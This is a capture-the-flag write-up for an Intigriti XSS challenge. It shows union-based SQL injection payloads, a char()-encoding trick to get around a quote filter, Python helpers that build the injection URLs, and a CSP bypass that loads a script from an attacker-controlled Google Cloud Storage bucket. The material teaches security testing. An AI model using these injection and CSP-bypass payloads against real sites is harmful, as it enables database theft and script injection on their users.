Looking at the site we see that it does not have very many features that we can interact with. The only thing we can do is to filter posts by month, with the
month url parameter, however we don't see the value being reflected anywhere on the site.
After trying to change the value of the month parameter to something other then a number we get an error.
This does indicate that our input might be used in in an SQL query to fetch the posts. So lets try to change the value to 1 or 1=1
Now we see all the posts even though there are no posts from month=1 this means that our SQL injection worked.
Lets figure out what is in the database. As we see the output from the SQL query we can use the union operator to select data from other tables, we just need to figure out how many columns are in the query.
To find the number of columns we can just send 1 union select 1,2,... until we don't get an error.
Now we know that there are 5 columns, but we only see 3 of them on the site. We can guess that the first column is the id of the post, we also see that the author name is gone, maybe that is related to the 4th column. If we change the query to be 1 union select 1,2,3,1,5 then we get Anton as the author so the fourth columns seems to be selecting the author from an id.
Lets get the verison of the database using the query 1 union select 1,2,version(),1,5 we see that this is version 8.0.29 of MySQL.
By using the query 1 union select 1,table_name,column_name,1,data_type from information_schema.columns we can find all the tables and their columns.
There are 2 tables that look interesting
| user | |
|---|---|
| id | int |
| name | varchar |
| picture | varchar |
| post | |
|---|---|
| id | int |
| title | varchar |
| msg | mediumtext |
| author | int |
| datetime | datetime |
Now we can guess that the queries looks somthing like
select * from posts where month(datetime) = $monthand
select * from user where id = $authorAs this is an XSS challenge and we can control the ouput on the site lets try to select a script tag.
This does not work and we get an error, after trying to select different strings we can assume that ' are filtered. But there are other ways to select strings in MySQL one of them is by using the char function which accepts integers as input and converts them to a character from the character code and concatenates them into a single string.
Here is a simple python script that converts strings to a char function call, so we can easily try payloads.
s = 'char('+','.join(list(map(str, map(ord, input()))))+')'
print(f"https://challenge-0722.intigriti.io/challenge/challenge.php?month=1+union+select+1,{s},{s},1,{s}") Now we can get strings on the site however our input seems to html encoded in all the places where our input gets reflected.
But as noted before the author name seems to be selected from another query but it is using the id from the first query that we control. So lets try to change the author name.
First lets verify that we can inject into the second query. We change the script so that our string is being selected as the author id.
s = 'char('+','.join(list(map(str, map(ord, input()))))+')'
print(f"https://challenge-0722.intigriti.io/challenge/challenge.php?month=1+union+select+1,2,3,{s},5") Then we can try to select the author id as the string 5 or 1=1.
This worked now lets try 5 union select 1,2,3 now we see that the author name has changed to 2, so lets just try 5 union select 1,'<script>alert()</script>',3 but now we don't get any output it might be using the same filter as the other query so lets try 5 union select 1,char(97),3
Now we see that the author name is a so we can assume that ' is also filtered in this query. Lets change the script so we can easily get strings into the author field
s = 'char('+','.join(list(map(str, map(ord, input()))))+')'
s = 'char('+','.join(list(map(str, map(ord, f"5 union select 1,{s},3"))))+')'
print(f"https://challenge-0722.intigriti.io/challenge/challenge.php?month=1+union+select+1,2,3,{s},5")Now we can try <script>alert()</script>
It worked but the CSP is blocking our script tag from executing
The site loads the following directives
default-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com
So we can load any javascript file from these domains, we just need to find one that allows us to host our own or a JSONP endpoint that allows us to call a function with arguments.
https://csp-evaluator.withgoogle.com/ tells us that all 3 domains are known to host angular libraries which could help us bypass this CSP but all the payloads related to angular that I found needed unsafe-eval. Next we can try and find a JSONP endpoint, https://www.gstatic.com/charts/loader.js?callback=alert allows us to call a function but we don't control the arguments. Turns out that public facing google cloud storage buckets are hosted on https://storage.googleapis.com/[bucket_name]/[file], lets create a bucket, make it public and upload a javascript file containing alert(document.domain) and try sending <script src=https://storage.googleapis.com/[our_bucket]/[js_file].js></script>
Now we have bypassed the CSP and we get our alert.








